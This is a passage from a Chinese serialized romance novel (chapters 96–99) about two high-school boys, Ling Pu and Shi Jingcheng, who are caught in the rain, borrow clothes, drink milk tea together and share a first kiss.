“有啊,她出国了。好像高一才走吧。这你该问时璟承,他俩初中一个班的,我在隔壁。” 凌蒲意外:“没听时璟承说过。” 上次还专门聊到这个事,时璟承一点都没透露。 “那我不知道,我看他们关系还行。” 凌蒲皱皱眉,意识到时璟承对他有所隐瞒。 “好了。我们那边活动应该差不多了,我回去看看。”成深野向他告别,又朝喝水的时璟承挥挥手,“这次球和风向都有点问题,下次再战。” “特儿下次可能会带个很高级的球来。”凌蒲走到时璟承旁边。 有点欲盖弥彰地说:“我们今天羽毛球考试,考完本来想找个场地打羽毛球,结果跟着人竟然走到网球场了,然后丁朗又拉着我到第一排去看看,真是凑巧得奇怪。” 一串自以为巧妙的长篇大论,时璟承只“嗯”一声。 告诉他:“你身后其实就是个室外羽毛球场地,还打吗?” 凌蒲转头看去,就看到周围还没有散尽的人群,视线若有若无地都投射在时璟承身上,忽然没什么兴致。 “算了,回去了。” “下次和你打羽毛球。”时璟承的声音因为刚运动完有点哑,响在凌蒲耳朵上方。 凌蒲的心猛然一跳,握着球拍的手紧了紧,没敢抬头。此刻嘈杂的人声仿佛瞬间被淡化,就剩下一个声道。 忽然感到额角有点凉意。 周围的地面飞快地落下豆大的雨点,噼里啪啦,仿佛坚持一上午的乌云知道完成了使命,密集的雨幕倾斜而出,速度之快让人来不及反应。 “下雨了,快跑!” 第96章 雨点落下的速度很夸张,声音让凌蒲想到了那种节奏激烈的交响乐,砸在操场上,地面很快就变成了深色。 和声音一起到达的,还有透心凉的寒意。 如同一盆水从头顶倾斜而下,衣服的布料压给没法抵挡,很快就湿了个里里外外,像穿着衣服游泳或者是冲冷水澡。 身边的人群迅速地四散开来,各自朝不同方向奔逃。 凌蒲慌忙也拉上时璟承,找到最近的屋檐,暂避。 正好是教学楼突出来的一小截房檐,位置很小。 “啊,真倒霉。”凌蒲甩了甩自己的头发,像一个落汤鸡,拧一下能拧出水来。 朝后捋了一把几乎湿透的头发,露出光洁的额头和湿漉漉的五官。 有一缕发丝垂下,正想双手齐上,这才后知后觉地意识到竟然有一只手还抓着时璟承的手腕。方才触感一片冰滑,完全忘记情急之下是如何攥住的。 现在没了雨水的干扰,隐隐传来热度,存在感也鲜明起来。 时璟承的手腕和手指的骨头摸起来清晰分明,应该和看上去的一样漂亮,皮肤下的脉搏正沉稳有力地跳动,一下一下,仿佛在凌蒲的指尖敲击。 他迅速松手,指头蜷缩,有些不自在地偷偷蹭了蹭。 “不好意思。雨下的太突然了,都没看清,随便抓了什么就走了,哈哈。”再次自以为十分巧妙地掩饰。 “别人的手也抓?” 时璟承的声音在雨幕的背景音中显得更清晰低沉,温热的气息拂过凌蒲的耳廓,带来一阵细微的战栗。 屋檐下很安静,空气里弥漫着雨水打湿泥土和植物的清新香气,仿佛营造出了一个密闭的小小空间。 凌蒲转头看去,一颗水珠顺着时璟承乌黑的发梢滑下,从眉骨落到鼻梁,如同滑滑梯一般顺着鼻尖滚过嘴唇,最后在下颌上欲滴未滴。 目光垂下,发现对方那件白色t恤也几乎湿透,贴着胸膛和腰腹,隐约勾勒出锻炼得当的肌肉线条。好在衣服质量还行,布料不透。 “花痴。” 声音从凌蒲上方传来,正入神的他差点吓了个激灵。 “谁花痴?”本能地反驳,嘴上是不能输的。 “你该看看你的眼神。”时璟承捏着凌蒲两颊,迫使他黏糊糊的眼神离开。 凌蒲不得不抬起头,撞上时璟承的眼睛。 眼睛和头发颜色一样黑,此刻像蒙了层水汽的墨玉,凌蒲从里面看到缩小版的自己,头发湿乱,脸颊微红,乍看显得挺狼狈。 他努力地试图看更清晰些,时璟承眼里的小人细看会不会好些,自己现在究竟是个什么样的形象。这样想着,身体不自觉地微微前倾。 时璟承抬手,盖住凌蒲的眼睛。 一点冰冷的水珠碰上温热的眼睫,凌蒲上牙和下牙一磕,忍不住轻轻打了个颤。 “很冷吗?” 时璟承低头问,其实凌蒲穿得比他多,有一件校服外套,不过此时也已湿透,松松垮垮地坠在身上,露出一片白皙的肌肤,水珠争先恐后朝里滚。 “还好。”凌蒲硬撑,又一个小小的哆嗦。 时璟承没再说什么,拉开网球包拉链,摸索两下,里面有唯一一件还干燥的校服外套,方才打球之前脱下来的,叠得整齐。 他单手展开,抖了两下,披在凌蒲身上,另一只手还捂着凌蒲的眼睛。 陌生的温暖和干燥暂时包裹了凌蒲,还有一种属于时璟承的气息,让空间更密闭了些。他微微一愣,睫毛有些不安地颤动,在时璟承的手心不断擦过。 “陈叔应该会进来送伞。” 时璟承看着外面被准许进入校园接孩子的家长,司机办事向来很妥帖。 他摸出手机,另发了条信息。 “你冷不冷?”凌蒲攥着时璟承校服外套的衣服角,为对方把衣服让给他而优点羞愧。 时璟承把手机放进口袋,抬起头:“不冷。只是你平常缺乏运动才会冷,虽然很喜欢吃。” “这种时候还损我。”凌蒲有气无力,秋冬交际的天气再加上冰冷的雨水,十分折磨人。 虽然披上外套之后没那么冷,但里面湿衣服贴着肉,有点难受。 时璟承提醒他:“是你说的,等上完体育课雨怎么下都行。” “我想收回。” “迟了。好处都占完了。” 凌蒲忧伤地承受他的报应,贴着旁边唯一的热源。他发现时璟承气质冷,但身上还挺温暖,不由蹭了蹭,被时璟承“友好”推开。 终于,在凌蒲的望眼欲穿之下,司机叔叔的身影如同救世主般出现。 他看着这两个人,意外:“小凌也在啊?” 手里就多拿了一把伞,虽然够大,但他一向知道他们这位少爷的脾气,不会愿意和别人共用。 “时小先生您的伞。”于是他递过去,看着落汤鸡般的凌蒲,“要不小凌和我打一把。” “不用。” 时璟承把伞一撑,挡在他和凌蒲的头顶。 揽了下凌蒲的肩,手搭在那件自己校服上,走进雨里。 伞面上“噼里啪啦”,响在耳边。 凌蒲为了让自己保持平衡,轻轻攥着时璟承腰侧的衣服。 顺利坐到车上,没一会儿,管家驱车送来了毛巾和衣物,敲了敲后座车窗:“璟承,换一下。” 这位管家看着时璟承长大,关系没那么疏远,在车窗降下后发现旁边唇红齿白的小男生时,停顿两秒。 又打量凌蒲身上偏宽大的校服,显然不是他的。 “去告诉顾乾吧。”时璟承打断,和他说,“告密者。” 管家笑笑:“从六岁以后顾先生就没有再让我报告情况了。” “六岁以前不是事?” “以前顾先生也是担心您。一次吃完两罐巧克力豆对牙齿不好,我只是出于您的健康考虑才如实汇报。” “转移话题。” 时璟承接过他手里的纸袋,“谢了。” 司机早已体贴地升起挡板,后座形成了较为宽敞的密闭空间,清爽的淡香在空气中隐隐流动。 凌蒲和外面的风雨交加隔开,稍感安全。但里面的衣服贴着皮肤,湿冷感逐渐攀上来。 他低头扯了扯,头发上的水珠滴落,雪上加霜。 时璟承打开纸袋,从里面取出毛巾和干衣服,放在旁边。 凌蒲仿佛看到救命稻草,眼巴巴地望着有没有自己的份儿。 “两件。”时璟承告诉他。 毛巾和衣物都是两件,干燥而温暖。 凌蒲湿漉漉的脸上呈现笑意,拿过来,忽然一顿:“在这里换啊。” 虽然不是没有在时璟承面前脱过衣服,但那是在宽敞的房间里。现在后座虽然较普通的车会大一些,但还是能清晰得听到彼此的呼吸声。 凌蒲的心境也不似当时那么坦坦荡荡。 他犹豫。忽然旁边传来窸窣声,转过头,盯着时璟承。 时璟承随意用毛巾擦了头发,看到凌蒲一眨不眨的眼神,视线尽头是他身上的衣服。 “” “你确定要这么看着?”他漫不经心地问了句。 凌蒲“啊”一声,没有其他动作。 时璟承便也不管他,把湿透的衣服朝上一掀。 露出一片紧实的腰腹,撞击凌蒲的视线里。 凌蒲瞪圆眼睛,匆匆低头,脸上热度急剧升高。 “怎么这样,时璟承。耍流氓。” 他僵住身子,一动不动。 时璟承瞥他一眼,擦了擦水,利落地套上干衣服:“谁是流氓?” “谁脱衣服谁是流氓。” “流氓脱衣服还盯着看,你比流氓还流氓。流氓看到你都害怕。” 时璟承展平衣服:“换好了,转过来吧。” “不转。”凌蒲不动。 时璟承扒拉他一下,触感一片冰凉,拧眉。 凌蒲沉浸在自己的混乱中,脑海仿佛过电影,但最后一帧永远都落在时璟承身上。 其实他什么都没看清,就是一种感觉。 像一个熟透的大苹果,耳根都红透。 时璟承本想挑眉嘲讽就这样还大言不惭地说想玩他,但最终没有说,怕凌蒲跳车。 这是属于时璟承难得的善良时刻。 凌蒲独自兵荒马乱,忽然感到脑袋上传来触感,头发似乎在被人拨弄。 眼睛朝上看了看,发现毛巾正揉搓着他的头发,擦着脸颊。 时璟承的呼吸声响在耳边,凌蒲不敢回头。 时璟承的动作看似挺粗暴草率,但并没有带来不适,柔软的毛巾擦得暖洋洋,凌蒲却忽然皱起眉。 “你怎么这么熟练?” “你没给自己擦过头发?” “呵呵,你是熟能生巧吧。”凌蒲的语气忽然有点阴阳怪气。 但时璟承没听出什么不对,可能是受到凌蒲一贯的没话找话和跳脱的脑回路影响,他只是“嗯”了一声。 凌蒲生气地抠了抠车窗,时璟承肯定给很多人擦过头发。 他把被时璟承拨到一侧的头发甩了下,拒不配合。 时璟承摸他的头:“别动。” 气息和触感酥酥麻麻,凌蒲立刻不敢再动。 等头发擦得差不多,时璟承碰了下凌蒲的外套,凌蒲不得不按住他的手,回过身。 “我自己来。” 他拉开拉链,脱掉外套,时璟承垂眸看了一眼,在凌蒲的催促下转过身,透过玻璃看窗外。 凌蒲在陌生的车上把自己剥得像一颗水煮蛋,穿上时璟承的衣服,他觉得心理已经变得强大起来,以后做什么事都会成功的。 变得干燥清爽的他感到如释重负,靠在椅背上。 忽然把目光聚焦到玻璃,一顿,仔细观察。 最后问时璟承;“时璟承,这个玻璃应该不反光吧。” 时璟承挑了下眉:“你猜。” 第97章 中午时间紧,在车上换完衣服再吃个饭,午休时间就所剩无几。 凌蒲手里端着饭盒,在车后座的小桌板上用餐。 今天又是相当丰盛的一顿,都依着凌蒲的口味,里脊是酸酸甜甜的糖醋口味,肉丸炸得酥酥脆脆。 “太好吃了,我要爱上阿姨了。”凌蒲也顾不上纠结有的没的,大块朵颐,“能把菜做得这么好吃。” 时璟承瞥他一眼。 凌蒲结束用餐,一边收拾饭盒,擦擦桌板,一边想起来:“当然也要谢谢你时璟承。不能天天让你请我吃午饭吧,要不我把每月充饭卡的钱给你吧。” “不用。顺便的事,本来也是这么吃。” “这不符合你资本家的身份。”凌蒲笑道,“那我用别的方式补偿你。” 他打算给时璟承买点等价礼物,用高情商的方式返还。 时璟承顺口问:“别的方式?” 目光把凌蒲扫了扫。 两人一顿,不约而同地想到了方才没有说完的话题。 此刻凌蒲身上穿的是时璟承的t恤,坐在时璟承车上,吃着时璟承的饭,有点心虚。 耳朵尖染上层薄粉,吃饭的速度都变慢了。 “玻璃不反光。”时璟承告诉他。 “哦,这样。” 凌蒲心不在焉地应了一声。 司机把湿衣物带回去,两人赶着去上课。 校园里同学大都穿得五花八门,套雨靴穿雨衣的,把湿外套系在腰上的,没有人再查穿不穿校服。 凌蒲匆匆来到教室,前面的章飞正在发作业。 “凌蒲,中午淋雨没?” 章飞打完招呼,低头看着凌蒲衣服,道:“诶——你这件” 凌蒲的心提到嗓子眼,紧张起来。 “和你之前风格不同,挺帅的。”章飞说完。 另一个同学闻声也看了看,赞同:“感觉面料特软和,和你气质很搭。主要你平常穿衣服都一个风格,就很明显。” “下雨随便换的。顺手抓了件。对了你们体育课怎么回去的?” 凌蒲说着,把他们的注意力从衣服上挪开。 好在时璟承平日里在学校都穿着校服,没几个同学见过他私下的样子,根本不会朝那方面猜。 凌蒲逐渐大摇大摆。 下午放学已然雨过天晴,黄昏的夕阳格外壮美些。 凌蒲和时璟承并肩走,准备去取回自己的衣服。晚风轻轻地吹,把他们的衣摆和发梢掀起一点。 空气带着雨后独有的清新,仿佛色彩都鲜亮起来。 “那是不是成深野?”凌蒲远远地就看到。 “嗯。” “他肯定又是来找你玩的,你们放学有安排吗?” “没有。” “你又不告诉我。”凌蒲说,“看起来你们的生活很丰富,不过要选择健康的生活方式为好,富贵不能淫。” “……” 时璟承知道凌蒲的脑海里肯定已经插上了想象的翅膀。 凌蒲见他不回答,便直言不讳:“时璟承。你不可以同时保持很多段关系。” “能保持几段?”时璟承逗他。 “你还真这么想啊,真是很坏。”凌蒲抿了下嘴唇,“随你。” 侧脸绷起圆润的弧度,眉头微拧。 安静了一会儿又问:“要是你喜欢的人出现,你会把其他关系都断掉吗?” “你希望我断掉吗?”时璟承问他。 凌蒲愣了愣,还真有点纠结。 毕竟断掉的话自己也属于其中之一,但是—— “断掉吧,希望你做个好人。” 时璟承看着他一本正经的样子,勾了下嘴角。 还没来得及说什么,前面成深野发现了他们。 跑过来,看到凌蒲第一眼:“我去,你怎么穿着时璟承的衣服?” 凌蒲一惊,本想抵死否认,世界上有那么多相似的衣服,怎么看一眼就知道谁的,简直是寒了设计师的心。而且就算一模一样怎么了,不允许他也购买同款吗。 就听旁边时璟承淡淡。 “中午突然下雨,让司机送了两件衣服来。” “哦,去玩不?” 成深野压根没多在意。 “不去了。带他回去拿衣服。” “一起呗?”成深野和凌蒲勾肩搭背,“就去…” “不。” 还没等他说完,凌蒲坚决拒绝,扭过身,表明自己不愿同流合污的立场。 “没事,那下次。 ”成深野抬手看看手表,对拒绝习以为常。 转身之际,他忽然想起来,和时璟承说,“对了,白林玥问我你怎么没回他消息。” 时璟承回忆一下:“没看手机。” “她也猜这个原因。问你她那块手表好不好用,到时候你记得回她一下,跨国有时差,要等挺久的。” 一件小小的事情,飘进凌蒲的耳朵里。 他想到上回时璟承那么宝贝那块手表,碰都不让他碰。 原来是有人送的,而且还是在国外,简直buff叠满。 作为一个从小饱览探案作品的凌蒲,简直是轻轻松松。 这个白林玥,和时璟承,有问题。 时璟承看了凌蒲一眼,见原来完全转过去的身影回转了四分之一,明显是在偷听他们对话,而且还皱着眉头,一副认真思考的样子。 他漫不经心地点头,和成深野挥手再见。 * 凌蒲跟着时璟承回到家。 雨后庭院格外宁静,空气清新,带着泥土和青草的湿润气息。 阿姨迎上来:“衣服已经在烘干了,稍等一会儿。” 因为阿姨并不在这里住,下午来打扫卫生时才将衣物统一清洗。 “好的,不急阿姨。” “先去我房间吧。” 时璟承把凌蒲带上楼,到房间里等待。 凌蒲还坐在上回的位置,摸出手机玩,但玩得有点心不在焉。 时璟承拿出一本习题册,收走凌蒲的手机:“明天还要上课。” 凌蒲其实也没有很想玩手机,听他这么说,就把书包打开,也写作业。 很安静地写了几道题,卡在其中一道上。也没有询问,抱臂思考,手指有一下没一下地碰着嘴唇。 时璟承见他不动,问:“不会?” “时璟承。白林玥是谁?” “?” 时璟承拧眉。 凌蒲也皱眉,学他。 “和你有什么关系。”时璟承淡淡。 凌蒲睁圆眼睛,有被伤害到。 “行,和我没关系。”一双眼睛垂下,挡住了所有光采。 “就你那个小月亮。特别漂亮的小月亮。”时璟承不耐,动笔,“给你讲一下这道题。” “小月亮?” 凌蒲吃惊,在上回时璟承放照片的地方一摸,竟然摸了个空:“你把照片转移了,之前那个合照。时璟承,你有问题。” “还听不听?” 时璟承不再回答其他问题,给他把题目讲了一遍。 凌蒲的确不会这题,认认真真地听完,还提出了自己的见解。 他拿起笔准备重新演算,不经意地擦过时璟承搭在桌沿的手背,两人都一顿。 凌蒲飞速收回手,假装认真演算,耳朵泛起微微的红。 解决完这道题,他边继续朝下写边忍不住询问: “你说她特别漂亮,那是属于你喜欢的类型吗。” “诶时璟承,会不会你后来找的人都像她。搞那种替身,以此麻痹自己。” “出国确实悲伤,你有没有在机场送别,然后偷偷哭泣?” “怪不得你保留她的礼物,你和她还有可能吗?” 凌蒲宛如一个记者,根据自己脑补出来的内容积极提问。 “闭嘴。”被采访人不太配合,“我们没有任何关系,一个月联系不到一次。” “哦,暗恋啊。” “记这么清。” 充满好奇的眼睛杵在面前,一眨一眨,红润的嘴唇一张一合,叭叭叭的。 经过一下午,凌蒲被淋湿的头发已经完全变干,柔顺地贴在脸颊两侧。 时璟承垂眸,盯了他一会儿,用手指在柔软的嘴唇上按了下。 摩挲完才欲盖弥彰:“真吵。” 有些暧昧地举动让旁边瞬间安静,好长时间都没再说话。 阿姨来敲他们的门,递过来烘干的衣物。 凌蒲重新换上自己的那套,把身上时璟承的衣服叠了几下,塞进书包:“我帮你洗完还给你。” “麻烦什么,放这里阿姨会洗。” “不要,那不一样。”凌蒲坚持把衣服带回去。 “随便你。” 凌蒲重新穿上一身校服,把书包背上,看着时璟承。 时璟承起身:“要我送送你?” 凌蒲看着时璟承一步一步朝自己走过来,身影逐渐笼罩住他。 凌蒲张开手,抱住时璟承的腰,脸颊贴着他。 时璟承一顿,轻轻摸他的头发。 “我走了,拜拜。” “嗯。” 凌蒲在时璟承怀里抬头看看他,慢慢站直身,转头离开。 回家之后对着书包里一团衣服,对自己逞一时之快略有后悔。 他把这件略带厚度的上衣展开又叠上,上面“不可机洗”的标志让他感到为难。 本来还想偷偷丢进洗衣机,看来行不通。 无奈,一直等到钱芷和凌逸飞睡下,才偷偷潜入卫生间,缓缓放满水盆,将衣服放进去。 蹲在盆边吭哧吭哧,他凌蒲,人生中第一次帮别人洗衣服。 要是钱芷和凌逸飞看到,非热泪盈眶不可。 就这样,那个时璟承还不珍惜,冒出什么在国外的白月光。 凌蒲化悲愤为力量,搓搓搓。 飞溅的泡沫爬上眉梢额角,他甩甩手,拿过手机给时璟承拍了一张照片。 【图片】 袖子挽起,露出一截白皙的小臂,圆润的指甲上都是白色泡泡,C位是泡在水盆里的时璟承的衣服,整个画面十分努力。 【时璟承:手洗?】 【/粽子:没错。】 对方竟然没有了回复。 【/粽子:?】 【时璟承:/大拇指】 【/粽子:你是不是在和小月亮聊天?】 “/粽子撤回一条消息” 【/粽子:你有没有回小月亮的消息】 “/粽子撤回一条消息” 【/粽子:别忘了回小月亮的消息】 “/粽子撤回一条消息 【/粽子:时璟承我讨厌你】 半晌后。 【时璟承:?】 第98章 凌蒲没有再回复,他正面对洗好的衣服犯难。 刚才竟然忘记考虑晾晒这一条,衣服上也有“禁止烘干”的标志,意味着只能自然干。 要是挂在阳台肯定会被钱芷看到,她一眼就能认出这件衣服不属于家里任何人。 但这一夜在房间里估摸又干不了,整件衣服还挺有分量。 于是他吭哧吭哧地找了根晾衣杆,一端支在床头下面抵住,另一端稍稍伸出窗户一点儿,挂上衣架。 简直是个天才。 大功告成时已经折腾到半夜,一沾床就陷入沉睡。 第二天早上,凌蒲迷迷糊糊,摸了下外面的衣服还未干,便把房门一关自己上学去了。 钱芷和凌逸飞白天也上班,而且一般不会进他的房间,绝对万无一失。 他来到学校,眼下乌青一片黑眼圈特别明显,和白皙的皮肤格格不入。 时璟承看他一眼:”昨天没睡觉?“ “半夜睡的。”凌蒲神情恍惚。 “忙着讨厌我到半夜?” 凌蒲认真看着时璟承,想起来昨晚自己一时冲动:“没事,是你的自由。” “昨天撤回三条什么,我在外面。”时璟承问。 昨天邵晚熠惹顾乾不高兴,非求着他去说和。纠缠了好半天,最终发现自己像是play的一环,忙完拿起手机,就看到凌蒲给他发的没头没尾的消息。 “没什么。”凌蒲说,“洗衣服洗得太无聊。” “放学请你喝奶茶。”时璟承挽回形象。 凌蒲微微高兴,立刻忘却其他。 “正好,我带你去一家,刚发现还没来得及亲自探索。” 像一个前面吊着胡萝卜的驴,凌蒲战胜了困意,每堂课都保持清醒。 一放学,立刻拉上时璟承穿过街巷,顺利来到他种草的奶茶店门前。 这里相较校门口那家要安静不少,门口一只胖乎乎的小狗懒懒散散,看到人就摇两下尾巴敷衍一下。老板也佛系,自己低头玩手机,让想喝什么点什么。 不过室内环境很舒适,桌椅干净,装饰高雅有品位,位置之间很宽敞。 “坐在窗边可以观赏风景,这儿高一点,特别合适。” 凌蒲已经深谙攻略,拉着时璟承来到靠窗户的位置。 侧过脸看着外面风景,错落有致的街景尽收眼底,现在正值傍晚,华灯初上,颇有点温馨的感觉。 “随便点。”时璟承把老板递过来的菜单交给凌蒲。 凌蒲笑道:“这么财大气粗。” 他点了一杯蛋糕奶茶,把菜单推给时璟承:“你点吧。” “我不用了。”时璟承叫来服务员下单。 “少爷你是不是每天只喝冰美式。” 时璟承拧眉,凌蒲笑得很开心。 一会儿之后捧着杯奶茶,安静地看着外面的风景。 丝滑的蛋糕奶油在口中化开,配上香醇的茶味,珍珠软糯Q弹,简直是深秋一大享受,凌蒲轻轻眯起眼睛,相当舒适。 他在这边看了会儿,换到时璟承旁边,要看看时璟承视角的景象。 “你这边看不到什么嘛,看你那么专注,还以为有什么。”凌蒲挨在时璟承旁边,有些失望,”那你刚才在看什么?“”看你喝奶茶。“时璟承淡道,目光坦荡荡地看着凌蒲,如同观赏某个公开展览品。 凌蒲顿了顿,被他看得发烫,于是瞥时璟承一眼:“不许再说这样的话。””?“时璟承再次和凌蒲的脑回路失之交臂。 凌蒲不说话了,低头专注喝奶茶。 转头一看,时璟承似乎挺无聊,已经拿出手机在摆弄,疑似回复别人消息。”要不我们去文具店转转吧,我想买个自动铅笔。“ 凌蒲带着时璟承离开奶茶店,在街巷中穿行,寒风中温暖的奶茶味道更美妙。 人间第一美事,可惜无人欣赏。 他晃晃手里的奶茶,问时璟承:”时璟承,你要不要尝一下?“ 时璟承转过头,停住脚步,看着凌蒲粘着奶茶沫的唇角,还有充满邀请意味的眼神。 巷子里很安静,正巧站在拐角处,只有隐隐几盏灯光散发着柔和的光芒。 时璟承向凌蒲走了两步,距离骤然拉近。 凌蒲呆呆地看着他,闭上眼睛,睫毛不住地颤动,嘴唇轻轻抿起。 时璟承轻笑了一声。 在凌蒲以为对方戏耍自己,正要非常恼怒地睁开双眼之时,轻柔的触感落在他唇上,卷去了他唇角的奶茶,留下一小片湿润。 凌蒲攥住时璟承的校服,才能堪堪保持平衡。 松开时留下一片褶皱。 时璟承揽着他的腰,把他放在身后的墙上,抬手捏了下他的脸。 垂眸看着半天没缓过神来的凌蒲:“叶公好龙。” 凌蒲回神,皱眉:“你才叶公好龙。你熟能生巧,千锤百炼,你水性杨花。” “这是什么词?” “我要去买铅笔了。”凌蒲推开时璟承。 他去采购一只自动铅笔,避开想要为他付款的时璟承,独自扫码。 出来之后宣言:“不要妄图用金钱腐蚀我,我是独立的。” 时璟承点头:“知道了。” “我们之间得明算账,才能可持续发展。” 凌蒲说完就一溜烟离开,独自回到家。 一路上风风火火,脸上和身上的热度一直在燃烧。 刚到小区楼下就傻眼,如同凉水浇下来。 只见楼下的树梢上挂着一件眼熟的衣服,还有眼熟的晾衣架。 背着书包绕行几圈观察,又仰头看看自己房间空空如也的窗户,天都塌了。 凌蒲找来小树枝,踮脚捅了两下,一副和衣架应声而落。 只见时璟承这件娇贵的衣服上已经被树枝刮开了几撮线,痕迹十分明显。 凌蒲用手指摸了摸,悲痛。 回到家,他把衣服摊在床上,默默拍照识图。 虽说看起来就价值不菲,但当那个数字真正呈现在眼前时,凌蒲还是不敢相信自己的眼睛。 数了好几遍位数。 万恶的资本主义! 他默默来到窗前,朝着大猪储钱罐哀悼。 想了一下,还是拍张照片发给时璟承。 【/粽子:对不起,明天赔钱给你/凋谢】 【时璟承:刮坏了?不用】 这回时璟承倒是回的挺快。 【/粽子:你没和别人聊天啊】 “/粽子撤回一条消息” 【/粽子:我查了一下它的价格,明天带给你。不过还是表示抱歉。 【/粽子:意外是在晾干的时候发生的,被风吹到了楼下树枝上/凋谢】 【时璟承:我不缺钱。赔别的。】 【/粽子:那赔什么,要不我再买一件给你】 【时璟承:我和这件衣服有感情。】 【/粽子:那我就赔感情给你呗】 “/粽子撤回一条消息 凌蒲那边不说话了。 留在消息框里的最后一条撤回,像是落荒而逃。 第二天,凌蒲都处于一种理亏的谦卑中,不再张牙舞爪:“你和那件衣服的感情有多深厚啊?””很深厚。“”对不起。””欠着吧。”时璟承说,“用实际行动弥补。” 他试探:“下次体育课你背网球包。” “好的。”凌蒲点头。 时璟承眼底带上微微的笑意,不经意地用手背碰了下凌蒲的脸颊。 凌蒲最近本来就常和他形影不离,使唤起来相当顺手。 周末照例去时璟承家写作业,几乎端茶倒水。 照例是不烫不凉的满杯水端过去,时璟承习以为常地先喝一口。 “满意吗时璟承。” “满意。”时璟承不得不对凌蒲的服务点头。 “能弥补你对逝去上衣的感情了吗?” “可以。” 凌蒲给时璟承转了一笔账,让他收下对衣服的物质赔偿。 时璟承不悦拧眉:“凌蒲,你要和我算这么清。” “我” “收回去。”时璟承不容置喙。 “你为什么生气。”凌蒲仔细观察时璟承的眉眼,他已经对时璟承的微表情很熟悉,能够看出对方的真实心理活动。 有时看上去一副生气的样子,其实就是逗他。但现在很平静,反而带着真实的不快。 “你和程益添也会算的这么清吗?” “你终于记住他姓什么了。”凌蒲关注重点有点跑偏,但在时璟承的注视下迅速拉回,如实回答,“好像不会。” 他也进行一番思索,坦诚道:“你和他不一样。” 具体怎么个不一样不好说,凌蒲起身,凑到时璟承面前,低头亲亲他。 后撤一点,看着时璟承。 见对方似乎还没有消气,他从口袋里摸出苹果味的糖果。 自从上回之后,一直随身携带, 打开包装纸,塞到自己嘴里,再重新低下头。 时璟承一直靠坐在椅子上,没有丝毫动作。 凌蒲大着胆子试了好几次,整个人几乎趴在时璟承身上,舌尖试探朝前,每回都只试着前进一点就收回,直到最后心一横,终于把糖推到时璟承的嘴巴里。 退开,一脸满意和邀功似地看着时璟承。 他一条腿站着,另一条腿屈在凳子上,膝盖挤在时璟承腿间,把身体重量放在时璟承身上。 时璟承拿他没有办法,轻轻拍了下:“以后别那么客气。” 声音有些哑,“咔吧”一声咬碎了嘴里的糖。 确实是苹果味的。 时璟承从小就不喜欢吃糖,糖由多余的香精和甜蜜素组成,是弱者才需要的。而这颗似乎味道还行,和凌蒲小时候硬塞给他的那块一样。 超越物体本身的甜。 “你不喜欢吃甜的吗,刚刚奶茶也没喝。” 凌蒲忽然想到什么,耳尖更红了点:“没点。” “嗯。”时璟承肯定。 “那管家叔叔说你小时候偷吃巧克力是怎么回事?” “黑巧克力。” 第99章 凌蒲在时璟承这里完成了作业,效率比家里都高。 然后便理直气壮地奖励自己,四处转着玩。 他看着时璟承挂在墙上的照片,是顾乾和邵晚熠给他过生日的场景,少年时期的时璟承就很帅了。 凌蒲看到右下角有个日期:“你生日是冬天啊,好像快了。” “嗯。”时璟承应一声。 “时璟承,看来你没有把我做成靶子,天天用飞镖打我。” 又转了一圈,他冒出这么一句。 “明天做。”时璟承翻过一页书,漫不经心道。 “别吧,我表现这么好。”凌蒲说,“应该消气了吧,还要继续报复我吗。” 时璟承嗤一声。 凌蒲心碎,又回到时璟承身旁,在桌边坐下,盯了一会儿,挪开目光,抠抠桌面:“你和小算了。” “我下去看看阿姨来没来,说好一起研制新菜品的。” 他又噔噔噔跑下楼,在院子里帮浇树的园丁浇了两棵,截住来做饭的阿姨热情打招呼,一起投身于厨房。 时璟承在窗边看到乱窜的人影消失,独享惯常的安静。 看了两页书,忽然觉得有些过于静了。 端着杯水下去,看到凌蒲在煞有介事地切菜。 一把水灵的小青菜被压在白皙的手下,刀细致而缓慢地落下,切得挺齐整。 眉目十分专注认真,仿佛在进行什么巨大的科研实验。发丝随着动作微微垂落,倾斜的阳光让发丝呈现半透明,在眼睫和眉梢晃动。 时璟承倚着厨房门,漫不经心地打量着。 直到凌蒲抬头,和他对视,笑容先出现在眼睛里:“你怎么下来了,倒水吗?” “嗯。” 凌蒲擦擦手,接过时璟承手里的杯子。 又是一番冷热交替,把满满一大杯温水递给他。 时璟承接过来,坐在客厅的沙发上,继续看书。 能够很清晰地看到凌蒲忙忙碌碌的背影,一抬眼就换个位置,像只蜜蜂似的。 也不知道在忙些什么。 最后色香味俱全的菜摆在桌上,就听凌蒲给他介绍:“阿姨主厨,但这里面小青菜是我切的,这里面鸡蛋是我打的,这个肉腌的时候我抓了抓。对了,我试着做了一小盘西红柿炒鸡蛋,你可以品尝一下。” 在一盘盘色泽明亮的菜肴中,有很小一盘蔫吧的西红柿炒蛋,对比起来极其黯淡。 不仔细看的话还以为是一碟蘸料。 “不品尝也行。但万一好吃不好看呢,不能以貌取人。” 时璟承便将第一筷子伸向这盘炒鸡蛋,在凌蒲期待的注视中夹了一块鸡蛋,放到嘴里品尝。 停顿一下,面不改色:“不错。” “真的吗?”凌蒲愉快,“我自己都没有敢吃。” 他也迫不及待地吃了一口,脸色一遍,开始找水,随便摸过时璟承的水杯吨吨吨,齁咸的感觉仿佛仍旧挥之不去。 时璟承笑了下。 “你故意的,时璟承。” “没有,我是真觉得不错。”时璟承淡淡。 “那你再吃一口。” 时璟承伸筷子,在即将碰到的时候凌蒲良心未泯,端走了那小盘西红柿炒蛋。 他的初次尝试宣告失败,有些忧伤地全部倒掉。 好在阿姨做的其他菜都很美味,很快抚平了伤痕。 “阿姨,您是创新了吗?感觉周末的菜和平常带的不是一个风格,不过都很好吃。“凌蒲问厨房里的阿姨。 阿姨回他:“送到学校的菜听小时先生的,从上周开始做得偏甜些,周末就按之前口味来的。” 凌蒲一顿,看向时璟承。 他说怎么那么合自己口味,糖醋里脊和菠萝咕噜肉都甜甜的。 时璟承真的是有一些狡诈的,从自己最薄弱的地方入手。 “换换口味。”时璟承解释了句。 凌蒲在接下来的用餐中就有点心不在焉,吃完之后顺手把自己的碗刷了,就回房躺着。 时璟承走进自己的屋子,看到凌蒲躺在被子上沉思。 推推他,凌蒲朝旁边让了让。 时璟承看看他:“怎么了?” “没事。睡觉吧。”凌蒲闭上眼睛。 “盖上被子睡。” “别了,我没穿睡衣。” “这么讲究,让管家给你找一件。” 时璟承在衣柜里随手拿出一套,丢给凌蒲:“没穿过。图案不喜欢。” 凌蒲抓过来看看,上面有一点纯色的花饰,想必是管家准备的。 他大喇喇换上,幸福地躺进被子里,闭上眼睛准备午睡。 睡衣布料柔软,露出一片片白皙的肌肤,头发仿佛都更柔顺些,眉目笼上层懒洋洋的气质。 凌蒲闭着眼睛,拍拍旁边的位置:“午睡吧,时璟承。” 